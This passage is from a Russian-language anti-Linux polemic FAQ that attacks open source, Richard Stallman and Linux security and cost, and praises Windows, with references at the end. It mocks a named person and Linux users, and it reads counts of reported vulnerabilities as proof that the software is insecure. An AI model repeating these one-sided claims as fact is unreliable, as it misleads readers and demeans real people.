Что за дурак придумал назвать папку с установленными приложениями /opt?! Как пользовательпо столь тупому названию должен догадаться о ее содержимом? Почему у разработчиков Syllable ума хватило ту же папку назвать /Application ? Какое называние вам больше говорит? Ах да, есть GoboLinux, в котором даже названия реализованы по-человечески, но, во-первых, кому нужен еще один Linux, а во-вторых, идею сперли у AtheOS!

Windows в этом плане не городил сказки о том что, он идеальная многопользовательская система. Когда потребовалось реально разграничивать права пользователей была введена система UAC (User Account Control) [18]. UAC с одной стороны ограничивает права админа до пользователя, с другой позволяет пользователю прозрачно запустить программу от имени админа. И пользователя не принуждают придумывать и запоминать никакие пароли! Вы уверены, что ставя сложный пароль, вы завтра же его не забудете?

Что качается вирусов. Вирус просто не сможет запуститься и повредить данные, если сам пользователь не подтвердит его запуск. Это позволяет избежать ряда проблем с вредоносным ПО, но не избавляет от человеческого фактора. Тем не менее подобный подход значительно облегчает использование системы и сохраняется сама концепция Персонального Компьютера как компьютера, чьим администратором является его владелец - пользователь.

22. OpenSource это хорошо.

Согласен. Я стараюсь разделять понятие OpenSource и Linux - это все-таки две разные вещи. Но это не всегда так.

Просто Linux - это в подавляющем большинстве случаев идеология OpenSource, и именно Linux очень ярко показывает системные проблемы OpenSource в целом и, как следствие, проблемы в Linux как в наиболее ярком его (OpenSource'а) представителе

.

Проблема в том, что нынешние лидеры OpenSource сделали из в общем-то неплохой идеи идеологию. Более того, они создал настоящую религию! И эта религия одурманила головы и заставила людей поднять флаг войны. Но если обернуться и посмотреть, то неожиданно оказывается, что вопят о войне и смерти Windows те, кто ничего не вносит! Только те, кто пользуется!

Даже такую хорошую идею как свободное программное обеспечение довели до степени маразма. В последние годы Ричард Столлман, а именно он у нас считается отцом-основателем OpenSource, показал на своем примере, до какого уровня можно довести идиотизм, если крепко постараться. Тут получается, что декламируемая свобода оборачивается настоящим рабством. Последним выпадом Столлмана было требование о том, что браузер должен требовать от пользователя принятие лицензии при просмотре страниы, в которой используются скрипты под несвободной лицензией [19]. Если бы не Столлман, то никто бы в мире даже не смог додуматься до того, что, оказывается, есть такая проблема! Спустя несколько месяцев после своего заявления Столлман, на публике показал, что у него случился GPL-передоз. Так, на конференции он снял ботинок с ноги и начал что-то есть(!) со своей ноги (!) [20]. Вы, как нормальный человек, как к этому отнесетесь?

Причем делал он это, повторяю, во время своего выступления. Я понимаю, что в зале сидели те же линуксоиды, собратья по духу. И даже на секунду посмею предположить, что им всем было также наплевать. А может даже некоторые сняли носки с правой ноги (у кого они были, конечно) и стали повторять за Учителем. Но сами-то подумайте: у многих из них есть семьи, у некоторых даже жены. А у некоторых даже дети. И такой вот последователь Великого Гуру, придя домой, за столом снимет носок и начнет грызть мозоли, демонстрируя, какой он свободный весь из себя. Подавляющее большинство нормальных людей, не станут терпеть рядом с собой такое убожество. Вот чему учит их Великий Свободный Мечтатель!

Я уверен в том, что GPL является огромной занозой во всем OpenSource мире.

Отдельную статью можно посвятить самой свободной лицензии GPL и тому, чем она грозит простому пользователю и разработчику.

И почему вы считаете, что я слепо должен поддерживать OpenSource? Просто потому, что кто-то сказал, что "это хорошо"?

23. Регулярно находимые ошибки положительно сказываются на надежности и качестве программных продуктов.

Этот пункт един как для OpenSource, так и для закрытых продуктов. В реальной жизни каждая ошибка в программном продукте чрезвычайно опасна: одна единственная уязвимость может привести к чрезвычайно серьезным последствиям. В случае реальной жизни в одночасье может рухнуть бизнес, а учитывая тенденцию всеобщей компьютеризации это может привести к гибели людей. Вы бы хотели, чтобы оборудование, отвечающее за жизнеобеспечение, дало сбой в результате атаки хакеров? Последний фактор пока маловероятен, но могли бы вы тридцать лет назад подумать, что вирус уничтожит ваш фотоальбом или диссертацию?

В случае коммерческих приложений и систем неотъемлемой частью предрелизной подготовки является многоуровневое тестирование, которое позволяет значительно снизить вероятность нахождения ошибки в стабильной версии продукта. Тестирование требует денег. OpenSource разработчики ввиду своей идеологии не могут его обеспечить в полной мере, поэтому объективно количество уязвимостей в открытых программных продуктах значительно выше. Я не думаю, что пользователю будет греть душу факт того, что уже спустя 48 часов после того, как данные на его жестком диске были уничтожены, было выпущено обновление, исправляющую найденную уязвимость.

Так, к примеру, в открытом браузере FireFox в 2008 году было обнаружено 115 уязвимостей — это почти в четыре раза больше, чем в любом другом популярном браузере, и почти в два раза больше, чем в продуктах Microsoft и Apple вместе взятых[21]. Для сравнения, Microsoft в течение прошлого года сообщила о 31 уязвимости в Internet Explorer, Apple — о 32 в Safari, а Opera — о 30 в своем одноименном браузере. В 2009 ситуация не изменилась и одно обновление безопасности следовало за другим, буквально каждую неделю. 21-04-2009 вышел FireFox 3.0.9, уже 27-04-2009 - FireFox 3.0.10, потом, видимо, хакеры решили отдохнуть, и следующая порция ошибок была ликвидирована только 11-06-2009 с выходом FireFox 3.0.11 [22]. Во всех этих релизах присутствовало сразу по несколько(!) уязвимостей безопасности. Настоящим апофеозом был 2006 год, тогда все ужаснулись все секьюрити эксперты "Бюллетень безопасности SA19631 [23]: Firefox Multiple Vulnerabilities описывает 21(!) новую уязвимость, найденные в браузере FireFox всех версий: от 1.5.0.1 и ниже. Опасность найденных уязвимостей оценена как Highly Critical, т.е. "Высокая опасность". Рекомендуется обновиться до версии 1.5.0.2." Это сообщение украшало крупнейшие сайты, посвященные информационной безопасности! Вдумайтесь в цифры ДВАДЦАТЬ ОДНА КРИТИЧЕСКАЯ УЯЗВИМОСТЬ за раз!!!

Если вы думаете, что уязвимости в версии 1.0 будут устранены, и версия 2.0 будет иметь шанс обнаружить меньше уязвимостей, вы ошибаетесь. Вполне может получиться, что на 5 уязвимостей в версии 1.0 придется 15 в 2.0. Не верите? Смотрите цифры выше!

И это мы рассматриваем действительно удачный продукт с очень высокой рыночной долей, составляющей более 20%! Разумеется, стоит учитывать факт того, что большую часть рынка, а это около 70 процентов, занимает Internet Explorer, на который приходится большее количество атак ввиду его бОльшей доли. Тем не менее ненавистный многим браузер в несколько раз надежней. Так мы убедились, что "открытая модель разработки" вовсе не гарантирует повышение качества или надежности выпускаемой продукции. Цифры говорят сами за себя. Даже эталонные OpenSource продукты не могут обеспечить должную надежность.

Для справки: Я сам являюсь пользователем FireFox на протяжении многих лет. И считаю этот браузер гораздо удобнее и функциональнее, чем Internet Explorer. FireFox взят в качестве примера исключительно потому, что это ЕДИНСТВЕННЫЙ по настоящему успешный OpenSource проект. FireFox имеет действительно грамотно продуманную архитектуру, что несмотря на некоторые ошибки позволяет ему оставаться эталоном! И тем не менее я считаю, что FireFox реально необходим далеко не всем просто потому, что Opera для простого пользователя может оказаться удобней и функциональней.

И при чем тут, спросите, Linux? Вы думаете, что Linux - это надежная система, и вы введетесь в бредни "специалистов", которые пытаются убедить вас в этом? При ничтожной доле Linux в нем находят десятки критических дыр ежемесячно! Глядя на пример FireFox представьте, что будет, если Linux займет те же 20%? Любой человек, ознакомившийся с приведенными выше цифрами, поймет, что это грозит Linux не десятками, а сотнями уязвимостей ежемесячно!

Как я уже говорил, десятков уязвимостей не надо, достаточно одной. Так, буквально на днях (июнь 2009 года) мы стали свидетелями одного из крупнейших взломов сайтов. Группе хакеров удалось, используя найденную уязвимость в гипервизоре HyperVM, уничтожить более СТА ТЫСЯЧ (100 000) (!) сайтов [24]! Все крутилось на Unix системе, в которой, как мы знаем, такая чудесная безопасность и такое грамотное разделение прав, что никто ничего никогда не взломает. Сразу после этого стало известно о самоубийстве директора компании Lxlabs - разработчика HyperVM. В самом начале я уже писал о том, как надежность программного продукта может быть связана с жизнью людей. Человек теперь мертв. И это не единичный пример.

У самого Linux с безопасностью все хуже, чем можно представить. Я уже показал на примере FireFox, который имеет в 20 раз большую популярность, чем Linux, что открытые продукты крайне уязвимы. Теперь представьте себе дистрибутив Linux, собранный из этих самых открытых продуктов и что получается из этого. 20 дыр в браузере, 7 в почтовом клиенте, 4 в плеере, 17 в самом ядре Linux, 5 в ... Вместо системы получается настоящее решето, в котором глаза разбегаются от того, каким способом его можно завалить. К слову сказать, архитектура самого ядра Linux никак не позволяет избежать целого ряда атак. Так, регулярно на сайтах, посвященных сетевой безопасности, проскакивают новости вроде "Найдена уязвимость в драйвере e1000 для Linux, позволяющая вызвать крах ядра через отправку специально подготовленного ethernet фрейма". Неплохо, правда? Сбой в драйвере в системах с современным дизайном не может повлечь крах всей ОС. Под современным дизайном я понимаю всё то, чему удалось избежать клейма unix-like.

Разумеется, от ошибок не застрахован никто, но оптимальным вариантом будет программный продукт, лишенный уязвимостей вовсе. Это может быть достигнута только при участии в разработке целого ряда специалистов, таких как архитекторы системы, секьюрити эксперты, программисты, тестировщики, дизайнеры.

На эту тему можно было сказать очень много, но это выходит за рамки FAQ.

24. Linux это единственная открытая альтернатива Windows.

На самом деле существует если не десятка, то как минимум пятерка интересных и по настоящему перспективных проектов[25]. От Linux их отличает отсутствие ряда системных проблем и более грамотный подход к процессу разработки. К сожалению, из-за наросшей шумихи вокруг Linux эти проекты, несмотря на все свои преимущества, остались в тени. Линуксоидам удалось так крепко промыть мозги пользователям и программистам, что у многих сложилось ошибочное впечатление о том, что Linux является единственной альтернативой. Как следствие: от по-настоящему альтернативных проектов, построенных на современных принципах и идеях, ушло внимание и разработчики, готовые их совершенствовать. Все были слишком захвачены шумихой вокруг Linux и те единицы, которые были готовы создавать что-то свое, сталкивались с полным непониманием. "Зачем это нужно, если есть Linux" - эта фраза, как это не печально, погубила многие проекты. Но я как автор данного документа верю, что еще не все потеряно и есть шанс на то, что так же внезапно начавшаяся шумиха вокруг Linux так же внезапно и утихнет!

Почему мне не пришло в голову сказать что, к примеру, Haiku никудышная система? Если Linux сейчас представляет собой рассадник красноглазия и задротства, то у Haiku нет никакой идеологии, а есть только одна из самых чистых кодовых баз! Я верю в то, что разработчики Haiku не дадут испортить свой проект перетаскиванием груд мусора из Unix. Если это случится, то весь мир ждет потеря еще одного уникального проекта, который мог бы стать именно той Открытой Системой о внедрении которой так много сейчас говорят. Радует только то, что Haiku не единственная перспективная разработка, есть и другие.

25. Мне сказали, что внедрение Linux в бизнесе позволит мне сэкономить.

Для бизнеса первоочередное значение имеет не цена, а так называемая Совокупная стоимость владения (Total cost of ownership, TCO). Именно она определяет, во сколько обойдется вам стоимость того или иного решения. Не думайте, что если Linux бесплатен, то его внедрение и эксплуатация также не будут ничего вам стоить. Практика показывает, что Совокупная стоимость владения решением на базе Linux будет значительно выше аналогичного от Microsoft или даже Apple. Так, выбирая Linux, не забывайте, что бесплатные дистрибутивы преследуют своей целью обманом вовлечь пользователей в процесс тестирование сырых продуктов с целью последующей продажи платных решений. Лицензия на платные дистрибутивы, стоит зачастую выше чем аналогичная от MS. Для объяснения причин этого воспользуемся примером земельного участка, покрытого фермами. Каждый фермер, обрабатывая свою небольшую территорию, должен закупать удобрения, оборудование, технику, организовывать хранение и транспортировку, а также налаживать контакты с реализаторами продукции, плюс ко всему обеспечивать себя лично. В случае же с одним крупным фермером издержки на каждом этапе будут значительно ниже. К примеру, крупный фермер может закупать удобрения по оптовым ценам. Таким образом, продукция крупного дистрибьютора будет значительно дешевле. Крупным дистрибьютором тут выступает компания Microsoft.

Не забывайте, что дистрибьюторы Linux еще тратят большие силы на борьбу друг с другом!

Коренным отличием со стороны компании Microsoft является координирование сверху, а не снизу. Следствием этого является отсутствие необходимости прибегать к нечестным методам обкатки сырых продуктов на пользователях. Первым этапом идет этап проектирование, в которое вовлечен целый ряд специалистов, после чего оценивается полезность и целесообразность решения. И только после тщательного анализа начинается непосредственно разработка. В случае же с Linux ситуация выглядит примерно так: "у меня есть идея, я хочу попробовать ее реализовать". Вы можете представить себе продукцию завода, часть сотрудников в котором неожиданно стала выпускать нестандартные детали, требующие переработки на финальном этапе всей конструкции автомобиля?

Для успешного видения бизнеса вам потребуется использование уже проверенных и отточенных решений. Спектр подобных решений для Windows значительно шире и разнообразней.

Стоимость обслуживающего персонала со знанием *nix будет значительно выше по причине их меньшей популярности и большей сложности в освоении.

Если, выбирая Linux, вы руководствуетесь желанием сэкономить на покупке к примеру MS Office, считая, что под Linux сможете использовать OpenOffice, то подумайте, зачем это вам нужно? Под Windows существует куда больше бесплатных программ, чем под Linux! Тот же OpenOffice с успехом может быть установлен и на Windows!

Продукты Microsoft имеют очень длинный период жизни и технической поддержки. Так, многие дистрибутивы Linux сменяются новыми версиями уже через полгода, в то время как время жизни некоторых версий Windows составляет около десяти лет. Тут можно привести аналогию с ботинками, которые верой и правдой могут отслужить вам один сезон, а могут не изнашиваться на протяжении многих лет.

Существует еще много причин, по которым использование Linux не будет себя оправдывать в реальной жизни.

26. Linux в наше время разрабатывают специалисты.

"Линуксу нельзя в школы, под него половина программ выглядит так, как будто их школьник написал". Местами мне кажется, что разработчики Linux просто издеваются над пользователями, иначе такое количество косяков и недоработок объяснить просто не возможно. Я потратил полгода на написании серии обзоров [26] чтобы показать, что Linux на 2009 год больше похож на не систему, а на какое-то недоразумение. Количество ошибок по сравнению с 2002 годом не изменилось. Мне даже кажется, что раньше проблем в Linux было меньше, чем сейчас. Если в Windows нештатное действие может вызвать сбой, то в Linux сбой возможен даже при штатной операции. Linux - это система подпорок и костылей, поэтому ждать и надеяться, что что-то изменится, очень наивно.

Теперь по поводу специалистов. Вы в курсе, что в наше время в проектировании программных продуктов принимают активное участие не только программисты, но даже психологи и физиологии? Все это, кстати, учитывается при расчете TCO (Совокупной стоимости владения). Внедрение просто только на бумаге. В реальной жизни нужно немало времени на обучение работе с программой, нужно нанять специалистов, которые смогут обучить пользователя выполнять требуемые задачи, важна производительность, с которой пользователь сможет работать, и т.д. Все это отнимает деньги и время. Именно с целью ликвидации подобных издержек в разработку вовлекаются подобные специалисты. Естественно, что в продукте с продуманным интерфейсом и сбалансированным функционалом освоиться будет гораздо проще. Это качество принято называть юзабилити. В Linux его нет и в помине. К примеру я видел десятки дистрибутивов в которых колесико мышки в плеере выполняло роль промотки фильма, увеличение скорости его воспроизведения и кучу других непонятных функций, кроме стандартной для пользователя - регулировки громкости. Можно долго говорить про окна не с вертикальными надписями, сотнями кнопок, дублирующимися опциями и тд, но это не опишет даже 10% от всех причуд Linux. Работать в системе с непредсказуемым функционалом и поведением просто не невозможно. Именно по этой причине, люди которые ценят свое время и нервы предпочитают Windows или MacOS. "Осиливане" же системы это удел горстки маргиналов, возомнивших себя элитой.

27. В Windows могут быть "вражеские" закладки, а в Linux нет.

Мне надоело слышать про разные "вражеские" закладки в Windows. Параноикам постоянно кажется что за ними кто-то шпионит, ворует у них какие-то конфиденциальные сведения. Мания есть такая.На карту поставлена репутация компании. Думаете, какая либо уважающая компания будет в свои продукты закладки пихать, которые по команде из центра всю информацию у вас украдут или сотрут? Думаете, открытый исходный код застрахует вас от куска кода, в котором будет возможно переполнение при определенных скрытых хитро скрытых условиях? Думаете, любой сможет обнаружить это? Посмотрите, какое количество ошибок находят в том же FireFox и ядре Linux! Разве нельзя найденные ошибки к "вражеским" закладкам приравнять? Вы понимаете, что код полностью понимает только человек, который его пишет? Понять логику чужого года крайне сложно, не говоря уже о том, чтобы обнаружить умышленно скрытую ошибку.
Microsoft, кстати, предлагает доступ почти ко всем исходным кодам Windows [27]. Разумеется кому попало ковыряться в исходниках не дадут, и это правильно, но доступ к ним возможен! Что еще надо?

28. Linux с каждым годом совершенствуется, разработчики обещают поправить все недостатки.

Да, я слышал, что нужно только дождаться выхода новой версии дистрибутива, и проблем не будет. На самом деле Linux имеет ряд комплексных проблем и изначальных недостатков, которые никогда не позволят ему стать серьезным продуктом. Ждать и верить в то, что разработчики обязательно все исправят, очень наивно. Я потратил 7 лет на то, чтобы убедиться во всей бесперспективности данного ожидания. Как распоряжаться своим времен, решать вам. Лично я отказался от использования Linux.

Литература:

[1] http://marketshare.hitslink.com/operating-system-market-share.aspx?qprid=10&qptimeframe=M&qpsp=124&qpmr=24&qpdt=1&qpct=0
[2] http://ru.wikipedia.org/wiki/Wget
[3] http://en.wikipedia.org/wiki/Morris_worm
[4] http://shop.xandros.com/index.php?language=en
[6] https://www.redhat.com/apps/store/desktop/
[7] http://en.wikiquote.org/wiki/Linus_Torvalds
[8] http://en.wikipedia.org/wiki/Tanenbaum%E2%80%93Torvalds_debate
[9] http://www.nixp.ru/news/9677
[10] В реальной жизни редко используется чистая микроядерная архитектура.
[11] http://en.wikipedia.org/wiki/MINIX за целых десять
[12] http://kerneltrap.org/Linux/2.6.23-rc6-mm1_This_Just_Isnt_Working_Any_More
[13] http://kernel.org
[14] http://osdev.org/ Ресурс посвященный разработке Операционных Систем
[15] http://www.oooninja.com/2009/03/multiplatform-benchmark-30.html
[16] http://en.wikipedia.org/wiki/Development_of_Windows_Vista
[17] http://en.wikipedia.org/wiki/Xgl
[18] http://en.wikipedia.org/wiki/User_Account_Control
[19] http://www.gnu.org/philosophy/javascript-trap.html
[20] http://www.youtube.com/watch?v=I25UeVXrEHQ
[21] http://www.securitylab.ru/news/369809.php
[22] http://www.mozilla.org/security/known-vulnerabilities/firefox30.html#firefox3.0.11
[23] http://secunia.com/advisories/19649/
[24] http://www.securitylab.ru/news/381101.php
[25] К наиболее известным не-Unix системам относится Haiku, Syllable, HelenOS, AROS
[26] http://stoplinux.org.ru/category/reviews
[27] http://www.microsoft.com/resources/sharedsource/windowslp.

Источник: http://stoplinux.org.ru/